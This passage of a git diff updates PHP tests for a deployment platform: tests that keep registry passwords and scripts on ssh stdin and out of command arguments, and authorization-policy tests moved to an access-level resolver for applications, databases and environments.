'rr-deployer']); + +it('logs in to a registry with the password only on ssh stdin', function (string $user) { + $server = sshStdinStubServer($user); + + DockerRegistryLogins::login($server, 'registry.example.com', 'deployer', SSH_STDIN_SECRET); + + $records = sshStdinStubRecords($this->stubDir); + expect(file_get_contents($this->stubDir.'/log/docker-login.stdin'))->toBe(SSH_STDIN_SECRET) + ->and($records['argv'])->not->toContain(SSH_STDIN_SECRET) + ->not->toContain(base64_encode(SSH_STDIN_SECRET)); +})->with(['root' => 'root', 'non-root' => 'rr-deployer']); diff --git a/tests/Feature/TrafficAnalytics/SentinelTrafficTokenStdinTest.php b/tests/Feature/TrafficAnalytics/SentinelTrafficTokenStdinTest.php index 7919c5e212..dad221fa3a 100644 --- a/tests/Feature/TrafficAnalytics/SentinelTrafficTokenStdinTest.php +++ b/tests/Feature/TrafficAnalytics/SentinelTrafficTokenStdinTest.php @@ -71,9 +71,8 @@ function runSentSentinelScriptWithFakes(string $bin): array { $script = null; Process::assertRan(function ($process) use (&$script) { - // generateSshCommand sends the script as the body of a heredoc: first line opens it, last line closes it. - $lines = explode("\n", $process->command); - $script = implode("\n", array_slice($lines, 1, -1)); + // The script goes to ssh on stdin. + $script = rtrim((string) $process->input, "\n"); return true; }); diff --git a/tests/Unit/Policies/ApiTokenPolicyTest.php b/tests/Unit/Policies/ApiTokenPolicyTest.php index 055297b3cd..52e2ee67b7 100644 --- a/tests/Unit/Policies/ApiTokenPolicyTest.php +++ b/tests/Unit/Policies/ApiTokenPolicyTest.php @@ -159,6 +159,7 @@ it('denies member from using root permissions', function () { $user = Mockery::mock(User::class)->makePartial(); $user->shouldReceive('isAdmin')->andReturn(false); $user->shouldReceive('isOwner')->andReturn(false); + $user->shouldReceive('currentTeam')->andReturnNull(); $policy = new ApiTokenPolicy; expect($policy->useRootPermissions($user))->toBeFalse(); @@ -176,6 +177,7 @@ it('denies member from using write permissions', function () { $user = Mockery::mock(User::class)->makePartial(); $user->shouldReceive('isAdmin')->andReturn(false); $user->shouldReceive('isOwner')->andReturn(false); + $user->shouldReceive('currentTeam')->andReturnNull(); $policy = new ApiTokenPolicy; expect($policy->useWritePermissions($user))->toBeFalse(); @@ -202,6 +204,7 @@ it('denies member from using deploy permissions', function () { $user = Mockery::mock(User::class)->makePartial(); $user->shouldReceive('isAdmin')->andReturn(false); $user->shouldReceive('isOwner')->andReturn(false); + $user->shouldReceive('currentTeam')->andReturnNull(); $policy = new ApiTokenPolicy; expect($policy->useDeployPermissions($user))->toBeFalse(); @@ -228,6 +231,7 @@ it('denies member from using sensitive permissions', function () { $user = Mockery::mock(User::class)->makePartial(); $user->shouldReceive('isAdmin')->andReturn(false); $user->shouldReceive('isOwner')->andReturn(false); + $user->shouldReceive('currentTeam')->andReturnNull(); $policy = new ApiTokenPolicy; expect($policy->useSensitivePermissions($user))->toBeFalse(); diff --git a/tests/Unit/Policies/ApplicationPolicyTest.php b/tests/Unit/Policies/ApplicationPolicyTest.php index 04d37bbc99..25a1af3957 100644 --- a/tests/Unit/Policies/ApplicationPolicyTest.php +++ b/tests/Unit/Policies/ApplicationPolicyTest.php @@ -1,8 +1,16 @@ forgetInstance(AccessResolver::class); +}); it('allows any user to view any applications', function () { $user = Mockery::mock(User::class)->makePartial(); @@ -12,53 +20,45 @@ it('allows any user to view any applications', function () { }); it('allows team member to view their own team application', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $application)->andReturn(true); $policy = new ApplicationPolicy; expect($policy->view($user, $application))->toBeTrue(); }); it('denies non-member to view another team application', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn((object) ['id' => 2]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $application)->andReturn(false); $policy = new ApplicationPolicy; expect($policy->view($user, $application))->toBeFalse(); }); it('denies view when application has no team', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $application = Mockery::mock(Application::class)->makePartial(); $application->shouldReceive('team')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $application)->andReturn(false); + $policy = new ApplicationPolicy; expect($policy->view($user, $application))->toBeFalse(); }); it('allows admin to create an application', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(true); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(true); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new ApplicationPolicy; expect($policy->create($user))->toBeTrue(); @@ -66,7 +66,13 @@ it('allows admin to create an application', function () { it('denies member to create an application', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(false); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(false); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new ApplicationPolicy; expect($policy->create($user))->toBeFalse(); @@ -74,10 +80,9 @@ it('denies member to create an application', function () { it('allows team admin to update their own team application', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $application)->andReturn(true); $policy = new ApplicationPolicy; expect($policy->update($user, $application)->allowed())->toBeTrue(); @@ -85,10 +90,9 @@ it('allows team admin to update their own team application', function () { it('denies team member to update their own team application', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $application)->andReturn(false); $policy = new ApplicationPolicy; expect($policy->update($user, $application)->allowed())->toBeFalse(); @@ -100,16 +104,17 @@ it('denies update when application has no team', function () { $application = Mockery::mock(Application::class)->makePartial(); $application->shouldReceive('team')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $application)->andReturn(false); + $policy = new ApplicationPolicy; expect($policy->update($user, $application)->allowed())->toBeFalse(); }); it('allows team admin to delete their own team application', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $application)->andReturn(true); $policy = new ApplicationPolicy; expect($policy->delete($user, $application))->toBeTrue(); @@ -117,10 +122,9 @@ it('allows team admin to delete their own team application', function () { it('denies team member to delete their own team application', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $application)->andReturn(false); $policy = new ApplicationPolicy; expect($policy->delete($user, $application))->toBeFalse(); @@ -132,16 +136,17 @@ it('denies delete when application has no team', function () { $application = Mockery::mock(Application::class)->makePartial(); $application->shouldReceive('team')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $application)->andReturn(false); + $policy = new ApplicationPolicy; expect($policy->delete($user, $application))->toBeFalse(); }); it('allows team admin to deploy their own team application', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Deploy, $application)->andReturn(true); $policy = new ApplicationPolicy; expect($policy->deploy($user, $application))->toBeTrue(); @@ -149,10 +154,9 @@ it('allows team admin to deploy their own team application', function () { it('denies team member to deploy their own team application', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Deploy, $application)->andReturn(false); $policy = new ApplicationPolicy; expect($policy->deploy($user, $application))->toBeFalse(); @@ -160,10 +164,9 @@ it('denies team member to deploy their own team application', function () { it('allows team admin to manage environment variables', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $application)->andReturn(true); $policy = new ApplicationPolicy; expect($policy->manageEnvironment($user, $application))->toBeTrue(); @@ -171,10 +174,9 @@ it('allows team admin to manage environment variables', function () { it('denies team member to manage environment variables', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $application)->andReturn(false); $policy = new ApplicationPolicy; expect($policy->manageEnvironment($user, $application))->toBeFalse(); diff --git a/tests/Unit/Policies/ApplicationPreviewPolicyTest.php b/tests/Unit/Policies/ApplicationPreviewPolicyTest.php index 8e295406c2..83ff0d8149 100644 --- a/tests/Unit/Policies/ApplicationPreviewPolicyTest.php +++ b/tests/Unit/Policies/ApplicationPreviewPolicyTest.php @@ -1,5 +1,6 @@ 1, 'pivot' => (object) ['role' => 'member']], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $preview = Mockery::mock(ApplicationPreview::class)->makePartial(); $preview->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $application)->andReturn(true); + $policy = new ApplicationPreviewPolicy; expect($policy->view($user, $preview))->toBeTrue(); }); it('denies non-team member from viewing application preview', function () { - $teams = collect([ - (object) ['id' => 2, 'pivot' => (object) ['role' => 'member']], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $preview = Mockery::mock(ApplicationPreview::class)->makePartial(); $preview->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $application)->andReturn(false); + $policy = new ApplicationPreviewPolicy; expect($policy->view($user, $preview))->toBeFalse(); }); it('denies viewing application preview with null application', function () { - $teams = collect([ - (object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $preview = Mockery::mock(ApplicationPreview::class)->makePartial(); $preview->shouldReceive('getAttribute')->with('application')->andReturn(null); @@ -83,30 +66,26 @@ it('denies non-admin user from creating application preview', function () { it('allows team admin to update application preview', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $preview = Mockery::mock(ApplicationPreview::class)->makePartial(); $preview->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $application)->andReturn(true); + $policy = new ApplicationPreviewPolicy; expect($policy->update($user, $preview)->allowed())->toBeTrue(); }); it('denies team member from updating application preview', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $preview = Mockery::mock(ApplicationPreview::class)->makePartial(); $preview->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $application)->andReturn(false); + $policy = new ApplicationPreviewPolicy; expect($policy->update($user, $preview)->allowed())->toBeFalse(); }); @@ -124,30 +103,26 @@ it('denies updating application preview with null application', function () { it('allows team admin to delete application preview', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $preview = Mockery::mock(ApplicationPreview::class)->makePartial(); $preview->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $application)->andReturn(true); + $policy = new ApplicationPreviewPolicy; expect($policy->delete($user, $preview))->toBeTrue(); }); it('denies team member from deleting application preview', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $preview = Mockery::mock(ApplicationPreview::class)->makePartial(); $preview->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $application)->andReturn(false); + $policy = new ApplicationPreviewPolicy; expect($policy->delete($user, $preview))->toBeFalse(); }); @@ -164,30 +139,26 @@ it('denies deleting application preview with null application', function () { it('allows team admin to deploy application preview', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $preview = Mockery::mock(ApplicationPreview::class)->makePartial(); $preview->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Deploy, $application)->andReturn(true); + $policy = new ApplicationPreviewPolicy; expect($policy->deploy($user, $preview))->toBeTrue(); }); it('denies team member from deploying application preview', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $preview = Mockery::mock(ApplicationPreview::class)->makePartial(); $preview->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Deploy, $application)->andReturn(false); + $policy = new ApplicationPreviewPolicy; expect($policy->deploy($user, $preview))->toBeFalse(); }); diff --git a/tests/Unit/Policies/ApplicationSettingPolicyTest.php b/tests/Unit/Policies/ApplicationSettingPolicyTest.php index c595a3e960..ece6e8a716 100644 --- a/tests/Unit/Policies/ApplicationSettingPolicyTest.php +++ b/tests/Unit/Policies/ApplicationSettingPolicyTest.php @@ -1,5 +1,6 @@ 1, 'pivot' => (object) ['role' => 'member']], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $setting = Mockery::mock(ApplicationSetting::class)->makePartial(); $setting->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $application)->andReturn(true); + $policy = new ApplicationSettingPolicy; expect($policy->view($user, $setting))->toBeTrue(); }); it('denies non-team member from viewing application setting', function () { - $teams = collect([ - (object) ['id' => 2, 'pivot' => (object) ['role' => 'member']], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $setting = Mockery::mock(ApplicationSetting::class)->makePartial(); $setting->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $application)->andReturn(false); + $policy = new ApplicationSettingPolicy; expect($policy->view($user, $setting))->toBeFalse(); }); it('denies viewing application setting with null application', function () { - $teams = collect([ - (object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $setting = Mockery::mock(ApplicationSetting::class)->makePartial(); $setting->shouldReceive('getAttribute')->with('application')->andReturn(null); @@ -83,30 +66,26 @@ it('denies non-admin user from creating application setting', function () { it('allows team admin to update application setting', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $setting = Mockery::mock(ApplicationSetting::class)->makePartial(); $setting->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $application)->andReturn(true); + $policy = new ApplicationSettingPolicy; expect($policy->update($user, $setting))->toBeTrue(); }); it('denies team member from updating application setting', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $setting = Mockery::mock(ApplicationSetting::class)->makePartial(); $setting->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $application)->andReturn(false); + $policy = new ApplicationSettingPolicy; expect($policy->update($user, $setting))->toBeFalse(); }); @@ -123,30 +102,26 @@ it('denies updating application setting with null application', function () { it('allows team admin to delete application setting', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $setting = Mockery::mock(ApplicationSetting::class)->makePartial(); $setting->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $application)->andReturn(true); + $policy = new ApplicationSettingPolicy; expect($policy->delete($user, $setting))->toBeTrue(); }); it('denies team member from deleting application setting', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $setting = Mockery::mock(ApplicationSetting::class)->makePartial(); $setting->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $application)->andReturn(false); + $policy = new ApplicationSettingPolicy; expect($policy->delete($user, $setting))->toBeFalse(); }); diff --git a/tests/Unit/Policies/DatabasePolicyTest.php b/tests/Unit/Policies/DatabasePolicyTest.php index 9924a43cb2..7bf05609fe 100644 --- a/tests/Unit/Policies/DatabasePolicyTest.php +++ b/tests/Unit/Policies/DatabasePolicyTest.php @@ -1,8 +1,16 @@ forgetInstance(AccessResolver::class); +}); it('allows any user to view any databases', function () { $user = Mockery::mock(User::class)->makePartial(); @@ -12,53 +20,45 @@ it('allows any user to view any databases', function () { }); it('allows team member to view their own team database', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $database)->andReturn(true); $policy = new DatabasePolicy; expect($policy->view($user, $database))->toBeTrue(); }); it('denies non-member to view another team database', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 2]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $database)->andReturn(false); $policy = new DatabasePolicy; expect($policy->view($user, $database))->toBeFalse(); }); it('denies view when database has no team', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); $database->shouldReceive('team')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $database)->andReturn(false); + $policy = new DatabasePolicy; expect($policy->view($user, $database))->toBeFalse(); }); it('allows admin to create a database', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(true); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(true); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new DatabasePolicy; expect($policy->create($user))->toBeTrue(); @@ -66,7 +66,13 @@ it('allows admin to create a database', function () { it('denies member to create a database', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(false); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(false); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new DatabasePolicy; expect($policy->create($user))->toBeFalse(); @@ -74,10 +80,9 @@ it('denies member to create a database', function () { it('allows team admin to update their own team database', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $database)->andReturn(true); $policy = new DatabasePolicy; expect($policy->update($user, $database)->allowed())->toBeTrue(); @@ -85,10 +90,9 @@ it('allows team admin to update their own team database', function () { it('denies team member to update their own team database', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $database)->andReturn(false); $policy = new DatabasePolicy; expect($policy->update($user, $database)->allowed())->toBeFalse(); @@ -100,16 +104,17 @@ it('denies update when database has no team', function () { $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); $database->shouldReceive('team')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $database)->andReturn(false); + $policy = new DatabasePolicy; expect($policy->update($user, $database)->allowed())->toBeFalse(); }); it('allows team admin to delete their own team database', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $database)->andReturn(true); $policy = new DatabasePolicy; expect($policy->delete($user, $database))->toBeTrue(); @@ -117,10 +122,9 @@ it('allows team admin to delete their own team database', function () { it('denies team member to delete their own team database', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $database)->andReturn(false); $policy = new DatabasePolicy; expect($policy->delete($user, $database))->toBeFalse(); @@ -132,16 +136,17 @@ it('denies delete when database has no team', function () { $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); $database->shouldReceive('team')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $database)->andReturn(false); + $policy = new DatabasePolicy; expect($policy->delete($user, $database))->toBeFalse(); }); it('allows team admin to manage their own team database', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $database)->andReturn(true); $policy = new DatabasePolicy; expect($policy->manage($user, $database))->toBeTrue(); @@ -149,10 +154,9 @@ it('allows team admin to manage their own team database', function () { it('denies team member to manage their own team database', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $database)->andReturn(false); $policy = new DatabasePolicy; expect($policy->manage($user, $database))->toBeFalse(); @@ -160,10 +164,9 @@ it('denies team member to manage their own team database', function () { it('allows team admin to manage backups', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $database)->andReturn(true); $policy = new DatabasePolicy; expect($policy->manageBackups($user, $database))->toBeTrue(); @@ -171,10 +174,9 @@ it('allows team admin to manage backups', function () { it('denies team member to manage backups', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $database)->andReturn(false); $policy = new DatabasePolicy; expect($policy->manageBackups($user, $database))->toBeFalse(); @@ -182,10 +184,9 @@ it('denies team member to manage backups', function () { it('allows team admin to manage database environment variables', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $database)->andReturn(true); $policy = new DatabasePolicy; expect($policy->manageEnvironment($user, $database))->toBeTrue(); @@ -193,10 +194,9 @@ it('allows team admin to manage database environment variables', function () { it('denies team member to manage database environment variables', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $database)->andReturn(false); $policy = new DatabasePolicy; expect($policy->manageEnvironment($user, $database))->toBeFalse(); diff --git a/tests/Unit/Policies/EnvironmentPolicyTest.php b/tests/Unit/Policies/EnvironmentPolicyTest.php index 3fe8f17038..22c4ba86d8 100644 --- a/tests/Unit/Policies/EnvironmentPolicyTest.php +++ b/tests/Unit/Policies/EnvironmentPolicyTest.php @@ -1,8 +1,16 @@ forgetInstance(AccessResolver::class); +}); it('allows any user to view any environments', function () { $user = Mockery::mock(User::class)->makePartial(); @@ -12,53 +20,49 @@ it('allows any user to view any environments', function () { }); it('allows team member to view their own team environment', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $environment = Mockery::mock(Environment::class)->makePartial(); - $environment->shouldReceive('getAttribute')->with('project')->andReturn((object) ['team_id' => 1]); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('canOpen')->with($user, $environment)->andReturn(true); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new EnvironmentPolicy; expect($policy->view($user, $environment))->toBeTrue(); }); it('denies non-member to view another team environment', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $environment = Mockery::mock(Environment::class)->makePartial(); - $environment->shouldReceive('getAttribute')->with('project')->andReturn((object) ['team_id' => 2]); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('canOpen')->with($user, $environment)->andReturn(false); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new EnvironmentPolicy; expect($policy->view($user, $environment))->toBeFalse(); }); it('denies view when environment has no project', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - 